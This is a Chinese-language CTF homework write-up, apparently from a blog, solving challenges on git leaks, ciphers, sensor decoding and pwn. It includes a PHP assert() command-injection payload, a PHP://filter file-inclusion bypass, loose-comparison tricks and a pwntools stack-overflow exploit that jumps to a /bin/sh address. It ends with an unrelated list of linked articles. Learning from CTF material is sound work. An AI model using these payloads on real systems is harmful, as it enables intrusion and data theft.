1.20作业

server/2025/2/23 19:39:29/

1 mfw(git泄露)

./git,原本以为点了链接下了index文件,就可以打开看源码,结果解析不了

老老实实用了githacker

githacker --url      --output 1

assert()

断言(assert)的用法 | 菜鸟教程

命令注入:

/?page=').system('cat ./templates/flag.php');//

assert("strpos('templates/') or system('cat ./templates/flag.php');

//.php', '..') === false") or die("Detected hacking attempt!");

2 salted

53aaefcc805940d4b79a403127384d3d.png

base64解密,开头就是salted(AES DES RC4 Rabbit TripleDes)

c7b573216ce741969916395d8bb2ff6b.png

试了试是Rabbit

全是大写,base32解码;python转字符

hex_string=''
flag_string= ''.join(chr(int(hex_string[i:i+2], 16)) for i in range(0, len(hex_string), 2))
print(flag_string)

3 simple_php(松散比较)

>==,!==,(<>不等于,大于小于是松散比较)

(字符串和数字admin,1admin)(科学计数法0)(ture与非零字符串都是ture)

?a=0abc&b=1235abc

Web_php_include

strstr()函数:大小写敏感,用大写的PHP://来绕过过滤

/?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

4 传感器2

百度一种可能:曼彻斯特编码

搜了搜wp:解析曼彻斯特编码实战-CSDN博客

删除3E可能是因为温度传感器解码后报文第一个字节为起始位,并无数据,因此从第二个字节开始,得到传感器1中两个解码后的报文有效数据为为0x24d8893ca5841000x24d8845abf34100

最后一个字节是校验位

然后涉及CRC校验攻防世界 Misc高手进阶区 7分题 传感器2_攻防世界传感器2-CSDN博客

5ezstack

·打开环境,nc连接checksec用相应ida打开附件:

1.定义了一个字符串v4且距离栈底0x20,有gets函数(危险,可通过此函数进行溢出)

2.发现/bin/sh地址,通过get函数【溢出到此处】,获取权限

from pwn import*

p=remote("node4.anna.nssctf.cn",28968)

payload=b'b'*(0x20+8)+p64(0x400730)

p.sendline(payload)

p.interactive()


http://www.ppmy.cn/server/170188.html

相关文章

【Linux】34.封装 UdpSocket(1)

文章目录 1. 实现一个简易的远程命令执行系统1.1 日志系统 (Log.hpp)1.2 UDP客户端 (UdpClient.cc)1.3 UDP服务器 (UdpServer.hpp)1.4 主程序 (main.c) 1. 实现一个简易的远程命令执行系统 1.1 日志系统 (Log.hpp) Log.hpp #pragma once // 防止头文件重复包含// 必要的头文…

【Spring】Spring配置文件

目录 ​什么是配置文件&#xff1f; 配置文件的作用 SpringBoot配置文件 配置文件格式 配置文件的优先级 properties配置文件说明 properties基本语法 读取配置文件 properties缺点 yml配置文件说明 yml基本语法 使用yml连接数据库 yml配置不同数据类型及null 注意…

leetcode 题目解析 第3题 无重复字符的最长子串

给定一个字符串 s &#xff0c;请你找出其中不含有重复字符的 最长 子串的长度。 示例 1: 输入: s “abcabcbb” 输出: 3 解释: 因为无重复字符的最长子串是 “abc”&#xff0c;所以其长度为 3。 示例 2: 输入: s “bbbbb” 输出: 1 解释: 因为无重复字符的最长子串是 “b”…

不同安装路径重复R包清理

df <- as.data.frame(installed.packages()) table(duplicated(df$Package)) ids <- df$Package[duplicated(df$Package)] df2 <- subset(df, df$Package %in% ids)

解决 Plugin ‘org.springframework.boot:spring-boot-maven-plugin:‘ not found

idea显示如下报错 加上版本号 2.3.4.RELEASE 刷新依赖&#xff0c;报错即可消除

基于iptables的Docker端口白名单控制

一、需求背景 某项目组采用容器化部署架构&#xff0c;通过docker-compose对服务进行编排管理。为确保核心服务安全性&#xff0c;需对以下三个暴露的宿主机端口实施IP白名单访问控制&#xff1a; 服务名称宿主机IP宿主机端口容器内部端口apollo-configservice172.22.33.2041…

解决DeepSeek服务器繁忙的有效方法

全球42%的企业遭遇过AI工具服务器过载导致内容生产中断&#xff08;数据来源&#xff1a;Gartner 2025&#xff09;。当竞品在凌晨3点自动发布「智能家居安装指南」时&#xff0c;你的团队可能正因DeepSeek服务器繁忙错失「净水器保养教程」的流量黄金期⏳。147SEO智能调度系统…

go 网络编程 websocket gorilla/websocket

在 Go 语言中&#xff0c;你可以使用标准库中的 net/http 包和第三方库 gorilla/websocket 来实现一个 WebSocket 服务器。gorilla/websocket 库提供了对 WebSocket 协议的高级抽象&#xff0c;使得处理 WebSocket 连接变得相对简单。 package mainimport ("fmt"&qu…